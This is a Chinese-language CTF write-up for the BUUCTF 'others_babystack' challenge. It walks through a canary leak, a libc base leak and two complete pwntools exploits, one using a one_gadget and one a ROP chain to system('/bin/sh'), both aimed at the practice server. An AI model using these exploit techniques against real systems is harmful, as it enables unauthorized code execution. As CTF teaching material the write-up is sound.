others_babystack

文章发布时间:

最后更新时间:

文章总字数:
2k

预计阅读时间:
10 分钟

一道蛮神奇的题 两种解法 不过一种有点非常规 不知道出题人怎么设置的

checksec看一下保护机制

1
2
3
4
5
6
7
[!] Could not populate PLT: invalid syntax (unicorn.py, line 110)
[*] '/home/chen/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

ida查看一下main函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
__int64 __fastcall main(int a1, char **a2, char **a3)
{
int v3; // eax
char s[136]; // [rsp+10h] [rbp-90h] BYREF
unsigned __int64 v6; // [rsp+98h] [rbp-8h]

v6 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
memset(s, 0, 0x80uLL);
while ( 1 )
{
menu();
v3 = choice();
switch ( v3 )
{
case 2:
puts(s);
break;
case 3:
return 0LL;
case 1:
read(0, s, 0x100uLL);
break;
default:
sendline("invalid choice");
break;
}
sendline(&unk_400AE7);
}
}

menu函数这里就不放了 反正就看这些源码也能知道各个选项对应什么作用

两个比较重要的地方 有一个puts泄露的机会 还有read函数可以读入数据

考虑到程序开启了金丝雀 所以这里的puts可以用来泄露金丝雀

覆盖金丝雀的最后一位 使其不为\x00 因为puts或者printf截停一个字符串就是靠\x00

这里泄露的时候有个小坑 就是你不能想着读入后7位 然后最后用p64把他补全成八位 因为第八位也恒为00嘛

但是pwntools的p64补全是在首位补全

1
2
3
4
5
6
from pwn import*
io = process("./a.out")
context.log_level = "debug"
canary = 0x11223344556677
payload = p64(canary)
io.sendline(payload)

如上程序 假设canary值为上述那样 我们debug看一下最后会输送什么样的数据

1
2
3
[DEBUG] Sent 0x9 bytes:
00000000 77 66 55 44 33 22 11 00 0a │wfUD│3"··│·│
00000009

很明显 小端序存储 所以00实际上是被放在了首位

所以可以用sendline多出来的\n字节覆盖\x00 然后接收八个字节的数据 最后-0xa 就能得到带有00的canary

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
from pwn import*
from struct import pack
from ctypes import *
from LibcSearcher import*

def libcmath(function_addr,function_name):
libc_addr = function_addr - libc.sym[function_name]
system_addr = libc_addr + libc.sym['system']
binsh_addr = libc_addr + next(libc.search(b"/bin/sh"))
return system_addr,binsh_addr

def csu(offset,gadget2_addr,call_addr,rdx,rsi,rdi,gadget1_addr,ret_addr):
payload = cyclic(offset)
payload += p64(gadget2_addr)
payload += cyclic(0x8)
payload += p64(0)
payload += p64(1)
payload += p64(call_addr)
payload += p64(rdx)
payload += p64(rsi)
payload += p64(rdi)
payload += p64(gadget1_addr)
payload += cyclic(56)
payload += p64(ret_addr)
return payload

def localconnect(filename):
io = process(filename)
return io

def remoteconnect(ip,port):
io = remote(ip,port)
return io

def elf_libc(filename,libc_name):
elf = ELF(filename)
libc = ELF(libc_name)
return elf,libc

def debug(button):
if(button==1):
context.log_level = "debug"

filename = 'pwn'
libc_name = 'buu_libc_ubuntu16_64'
ip="node4.buuoj.cn"
port=29125
elf,libc = elf_libc(filename,libc_name)
#libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
#main_addr = elf.sym['main']
main_addr = 0x400908

io = remoteconnect(ip,port)
#io = process("./pwn")
debug(1)

puts_plt = 0x400690
rdi_addr = 0x400a93
puts_got = elf.got['puts']
leave_addr = 0x400824

io.recvuntil(">> ")
io.sendline(b"1")
payload = cyclic(0x87)+b"1"
io.sendline(payload)
io.recvuntil(">> ")
io.sendline(b"2")
io.recvuntil("1")
canary = u64(io.recv(8).ljust(8,b"\x00"))-0xa

接下来还要想办法控制程序执行流 一开始看到read只能读入0x100的数据 我是觉得不能构造rop链来泄露libc基址

但是最后查看wp的时候 发现大家都是用泄露基址的办法做的 也是比较神奇 数据竟然能超出限制读入

第一种办法用到的是泄露__libc_start_main函数的地址

稍微了解一下程序函数调用就会知道 main函数并不是程序第一个调用的

__libc_start_main函数的地址应该是在rbp的下一个字长处

1
2
3
4
5
6
7
8
9
10
11
io.recvuntil(">> ")
io.sendline(b"1")
payload = cyclic(0x98)
io.send(payload)

io.recvuntil(">> ")
io.sendline(b"2")
io.recv(0x98)
start_addr = u64(io.recv(6).ljust(8,b"\x00"))
libc_addr = start_addr - 240 - libc.sym['__libc_start_main']
print(hex(libc_addr))

这里泄露出来的start_addr之所以要减去240 还得要动调来看

泄露出来的地址距离__libc_start_main函数还有231偏移 当然这只是本地libc的偏移 远程的等下还得微调一下

此时我们得到算式:

1
libc_addr = start_addr - 231 - libc.sym['__libc_start_main']

在本地上 其后三位是000 但是远程环境不同 运行看一下差了多少

得到的值是0x7f3fea3e8009 多了9 那就减去240就可以得到远程的libc基址了

虽然我们得到了libc基址 但是由于read可以溢出的长度不够我们构造一个system链 所以这里采取修改ret addr为one_gadget

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
from pwn import*
from struct import pack
from ctypes import *
from LibcSearcher import*

def libcmath(function_addr,function_name):
libc_addr = function_addr - libc.sym[function_name]
system_addr = libc_addr + libc.sym['system']
binsh_addr = libc_addr + next(libc.search(b"/bin/sh"))
return system_addr,binsh_addr

def csu(offset,gadget2_addr,call_addr,rdx,rsi,rdi,gadget1_addr,ret_addr):
payload = cyclic(offset)
payload += p64(gadget2_addr)
payload += cyclic(0x8)
payload += p64(0)
payload += p64(1)
payload += p64(call_addr)
payload += p64(rdx)
payload += p64(rsi)
payload += p64(rdi)
payload += p64(gadget1_addr)
payload += cyclic(56)
payload += p64(ret_addr)
return payload

def localconnect(filename):
io = process(filename)
return io

def remoteconnect(ip,port):
io = remote(ip,port)
return io

def elf_libc(filename,libc_name):
elf = ELF(filename)
libc = ELF(libc_name)
return elf,libc

def debug(button):
if(button==1):
context.log_level = "debug"

filename = 'pwn'
libc_name = 'buu_libc_ubuntu16_64'
ip="node4.buuoj.cn"
port=29125
elf,libc = elf_libc(filename,libc_name)
#libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
#main_addr = elf.sym['main']
main_addr = 0x400908

io = remoteconnect(ip,port)
#io = process("./pwn")
debug(1)

puts_plt = 0x400690
rdi_addr = 0x400a93
puts_got = elf.got['puts']
leave_addr = 0x400824

io.recvuntil(">> ")
io.sendline(b"1")
payload = cyclic(0x87)+b"1"
io.sendline(payload)
io.recvuntil(">> ")
io.sendline(b"2")
io.recvuntil("1")
canary = u64(io.recv(8).ljust(8,b"\x00"))-0xa
io.recvuntil(">> ")
io.sendline(b"1")
payload = cyclic(0x98)
io.send(payload)

io.recvuntil(">> ")
io.sendline(b"2")
io.recv(0x98)
start_addr = u64(io.recv(6).ljust(8,b"\x00"))
libc_addr = start_addr - 240 - libc.sym['__libc_start_main']
#0x45216 0x4526a 0xf02a4 0xf1147
onegadget_addr = libc_addr + 0xf1147

io.recvuntil(">> ")
io.sendline(b"1")
payload = b"a"*0x88+p64(canary)+p64(0xabcdabcd)+p64(onegadget_addr)
io.send(payload)

io.recvuntil(">> ")
io.send(b"3")

io.interactive()

不过这题不知道为啥 read函数虽然对输入的数据进行了限制 但是好像还是可以超额输入 原理暂时还不清楚 留个坑

所以这题可以用构造rop链 泄露libc基址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
from LibcSearcher import *

#p=remote('node4.buuoj.cn',27865)
p=process('./pwn')
elf=ELF('./pwn')
context.log_level='debug'

#泄露canary
p.sendlineafter(">>",'1')
payload='a'*(0x80+8)
p.sendline(payload)

p.sendlineafter('>>','2')
p.recvuntil('a\n')
canary=u64(p.recv(7).rjust(8,b'\x00'))

pop_rdi=0x400a93
puts_got=elf.got['puts']
puts_plt=0x400690
main_addr=0x400908

payload=b'a'*(0x80+8)+p64(canary)+p64(0)
payload+=p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
p.sendlineafter(">>",'1')
p.sendline(payload)

payload总长明显是超过0x100的 但是gdb动调看了一下 确实是能写进去的

你直接打断点是看不到这些栈的内容的 这一段在高地址处 因为是之前执行过的栈

所以你需要用 set $rsp = $rsp - 0x68来调整一下rsp寄存器的位置 因为stack是以sp寄存器为0来延申的

这里还有一点是要注意的 此时我们一直是在while循环中 在执行完一连串的指令后 并不会跳转到返回地址 因为这并不属于一个栈帧的结束 从栈上的地址逐渐降低也可以看出来 所以我们需要手动退出while循环

剩下的就没什么好说的了 完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *
from LibcSearcher import *

#p=remote('node4.buuoj.cn',27865)
p=process('./pwn')
elf=ELF('./pwn')
context.log_level='debug'

#泄露canary
p.sendlineafter(">>",'1')
payload='a'*(0x80+8)
p.sendline(payload)

p.sendlineafter('>>','2')
p.recvuntil('a\n')
canary=u64(p.recv(7).rjust(8,b'\x00'))

pop_rdi=0x400a93
puts_got=elf.got['puts']
puts_plt=0x400690
main_addr=0x400908

payload=b'a'*(0x80+8)+p64(canary)+p64(0)
payload+=p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
p.sendlineafter(">>",'1')
p.sendline(payload)

p.sendlineafter(">>",'3')
p.recv()
puts_addr=u64(p.recv(6).ljust(8,b'\x00'))

libc=LibcSearcher('puts',puts_addr)
libc_base=puts_addr-libc.dump('puts')
system=libc_base+libc.dump('system')
binsh=libc_base+libc.dump('str_bin_sh')

payload=b'a'*(0x80+8)+p64(canary)+p64(0)
payload+=p64(pop_rdi)+p64(binsh)+p64(system)
p.sendlineafter('>>','1')
p.sendline(payload)

p.sendlineafter('>>','3')
p.interactive()